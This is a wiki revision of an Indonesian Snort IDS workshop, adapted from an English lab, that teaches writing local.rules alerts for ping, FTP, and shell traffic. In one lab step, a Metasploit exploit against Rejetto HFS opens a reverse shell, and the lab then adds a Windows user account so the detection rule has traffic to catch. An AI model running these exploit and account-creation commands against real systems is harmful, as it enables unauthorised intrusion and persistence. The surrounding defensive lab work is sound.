Difference between revisions of "SNORT-RULES: Contoh Materi Workshop"

Revision as of 19:58, 5 December 2018

Sumber: http://resources.infosecinstitute.com/snort-rules-workshop-part-one/

Install SNORT

Buat mesin Ubuntu server
Install SNORT
Cek versi snort

snort -V

Edit Konfigurasi

Tambahkan nilai HOME_NET

vi /etc/snort/snort.conf

Tambahkan nilai HOME_NET sesuai dengan jaringan yang akan di monitor, biasanya di akhiri dengan .0/24

Verifikasi SNORT

Jalankan

sudo snort -T -i eth0 -c /etc/snort/snort.conf

Akan keluar misalnya,

0 Snort rules read

Membuat local.rules Sederhana

Deteksi ping

test rule sederhana yang akan dibuat akan menghasilkan alert saat Snort mendeteksi ICMP Echo Request (ping) atau Echo reply message. Buka file local.rules di text editor gunakan perintah berikut,

sudo nano /etc/snort/rules/local.rules

File tersebut kemungkinan besar kosong. Tambahkan kalimat berikut (sebagai satu line, tanpa enter),

alert icmp any any -> $HOME_NET any (msg:”ICMP test”; sid:1000001; rev:1; classtype:icmp-event;)

Mari kita lihat syntax dari rules tersebut,

Rule Header

alert – Rule action. Snort will generate an alert when the set condition is met.
any – Source IP. Snort will look at all sources.
any – Source port. Snort will look at all ports.
-> – Direction. From source to destination.
$HOME_NET – Destination IP. We are using the HOME_NET value from the snort.conf file.
any – Destination port. Snort will look at all ports on the protected network.

Rule Options

msg:”ICMP test” – Snort will include this message with the alert.
sid:1000001 – Snort rule ID. Remember all numbers < 1,000,000 are reserved, this is why we are starting with 1000001 (you may use any number, as long as it’s greater than 1,000,000).
rev:1 – Revision number. This option allows for easier rule maintenance.
classtype:icmp-event – Categorizes the rule as an “icmp-event”, one of the predefined Snort categories. This option helps with rule organization.

Jalankan snort configuration test lagi:

sudo snort -T -i eth0 -c /etc/snort/snort.conf

Jika kita scroll, kita akan melihat ada satu rule tambahan yang sudah di load.

Jalan kan snort dengan mode IDS, tampilkan alert di console:

sudo snort -A console -q -c /etc/snort/snort.conf -i eht0

dimana

-c - memberitahukan file konfigurasi yang digunakan
-i eth0 - memberitahukan interface yang digunakan
-A console - memberitahukan agar alert di tulis di standard output
-q - mode "quiet", tidak print banner dll.

Untuk melihat server tempat snort dijalakan, misalnya

ping 192.168.x.x

Maka akan tampak di layar ada alert yang di generate setiap kali ping di terima server.

Deteksi ftp

Untuk belajar lebih lanjut, buat rule tambahan, edit

sudo gedit /etc/snort/rules/local.rules

Masukan misalnya,

alert tcp 192.168.x.x any -> $HOME_NET 21 (msg:”FTP connection attempt”; sid:1000002; rev:1;)

Ini untuk mendeteksi traffic FTP. Jalankan snort

sudo snort -A console -q -c /etc/snort/snort.conf -i eth0 -K ascii

Coba ftp dari Kali Linux dengan perintah

ftp 192.168.x.x

Maka akan tampak alert.

Cek log, jalankan

ls /var/log/snort

Lihat salah satu folder & file misalnya,

sudo ls /var/log/snort/192.168.x.x
sudo cat /var/log/snort/192.168.x.x/TCP:4561-21

File tersebut jika berbentuk bisa baca dengan wireshark

Detect kegagalan ftp

Edit

sudo gedit /etc/snort/rules/local.rules

Tambahkan

alert tcp $HOME_NET 21 -> any any (msg:”FTP failed login”; content:”Login or password incorrect”; sid:1000003; rev:1;)

Perhatikan $HOME_NET ada di snort.conf. Jalankan snort,

sudo snort -A console -q -c /etc/snort/snort.conf -i eht0

Snort sebagai Packet Logger

Untuk mendeteksi teknik serangan yang baru, kita bisa menjalankan snort untuk mencatat paket / packet logger menggunakan perintah

sudo snort -dev -q -l /var/log/snort -i eth0

Masuk kali linux untuk menyerang, jalankan,

msfconsole

Lakukan exploit misalnya,

use exploit/windows/http/rejetto_hfs_exec
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.x.x (Kali Linux IP address)
set RHOST 192.168.x.x (Server WIndows IP address)
set RPORT 8081

Jika berhasil maka kita akan memperoleh shell, ketik

net user accountname P@ssword12 /ADD
cd \
mkdir yourname

Ketik Ctrl+C dan jawab y atau "yes" untuk menutup akses shell.

Kemudian,

cek /var/log/snort
buka menggunakan wireshark, select Edit > Find Packet
select Packet Bytes for the Search In criteria.
search string, enter the username yang anda buat.
jika di peroleh packet-nya, lakukan select Follow TCP Stream.

Membuat custom rule dari catatan traffic

Misalnya, kita ingin snort memberikan alert setiap kali melihat “C:\Users\Administrator\Desktop\hfs2.3b>.” Edit local.rules masukan sebagai berikut

alert tcp $HOME_NET any -> any any (msg:”Command Shell Access”; content:”C:\\Users\\Administrator\\Desktop\\hfs2.3b”; sid:1000004; rev:1;)

Jalankan snort sebagai IDS

sudo snort -A console -q -c /etc/snort/snort.conf -i eth0

Jalankan exploit tersebut dari Kali Linux maka kita akan melihat alert di server.

Jika kita ingin menyimpan local.rules dari hasil sadapan wireshark di kali linux, kita perlu melakukan,

select packet
di bagian tengah wireshark lakukan Copy > Bytes > Offset Hex.
paste Hex tersebut di aturan di local.rules, pastikan itu hanya hex yang kita perlukan, tambahan | di ujung2.

Referensi

http://resources.infosecinstitute.com/snort-rules-workshop-part-one/

@@ Line 163: / Line 163: @@
 * jika di peroleh packet-nya, lakukan select Follow TCP Stream.
-==Exercise 3: Building a custom rule from logged traffic==
+==Membuat custom rule dari catatan traffic==
-We want to see an alert show up anytime Snort sees “C:\Users\Administrator\Desktop\hfs2.3b>.” Go to our local.rules file (if you closed it, open it again as root using the same command as we did earlier), and add the following rule on a new line (note that we are escaping all the backslashes to make sure they are included in the content):
+Misalnya, kita ingin snort memberikan alert setiap kali melihat “C:\Users\Administrator\Desktop\hfs2.3b>.” Edit local.rules masukan sebagai berikut
   alert tcp $HOME_NET any -> any any (msg:”Command Shell Access”; content:”C:\\Users\\Administrator\\Desktop\\hfs2.3b”; sid:1000004; rev:1;)
-Save the file. Run Snort in IDS mode again:
+Jalankan snort sebagai IDS
   sudo snort -A console -q -c /etc/snort/snort.conf -i eth0
-Now go back to your Kali Linux VM. You should still be at the prompt for the rejetto exploit. Just enter exploit to run it again. Wait until you get command shell access and return to the Snort terminal on Ubuntu Server. You should see that alerts have been generated based on our new rule:
+Jalankan exploit tersebut dari Kali Linux maka kita akan melihat alert di server.
-Hit Ctrl+C on Kali Linux terminal and enter y to exit out of the command shell. Then hit Ctrl+C on the Ubuntu Server terminal to stop Snort.
+Jika kita ingin menyimpan local.rules dari hasil sadapan wireshark di kali linux, kita perlu melakukan,
-In this case, we have some human-readable content to use in our rule. But that’s not always the case. Let’s modify our rule so it looks for content that is represented in hex format. First, in our local.rules file, copy our latest rule and paste it below in the new line. Now comment out the old rule and change the “rev” value for the new rule to “2.” See below.
+* select packet
+* di bagian tengah wireshark lakukan Copy > Bytes > Offset Hex.
-Bring up the Wireshark window with our capture again, with the same payload portion selected. Unfortunately, you cannot copy hex values directly from the Wireshark’s main window, but there is an easy solution that will work for us. With the needed content selected, right-click either the corresponding (highlighted) packet in the top pane or the highlighted “Data:” entry in the middle pane and select Copy -> Bytes -> Offset Hex. See below.
+* paste Hex tersebut di aturan di local.rules, pastikan itu hanya hex yang kita perlukan, tambahan | di ujung2.
-Now, in our local.rules file, select the content argument (everything in between the quotation marks) in our new rule, right-click and click Paste. Now carefully remove all extra spaces, line breaks, etc., leaving only the needed hex values. Then put the pipe symbols (|) on both sides. Your finished rule should look like the image below.
-Save the file. Start Snort in IDS mode. Next, go to your Kali Linux VM and run the exploit again. Wait until you get the command shell and look at Snort output. You should see alerts generated.
-This time we see two alerts instead of four because we included the hex representation of the “>” symbol in the content, making the rule more specific.
-Press Ctrl+C to stop Snort. Then, on the Kali Linux VM, press Ctrl+C and enter y to exit out of the command shell and then type in exit to return to the regular prompt.
-This is just some of the basics of the Snort rule writing. Later we will look at some more advanced techniques.
-End of Lab
 ==Referensi==
 * http://resources.infosecinstitute.com/snort-rules-workshop-part-one/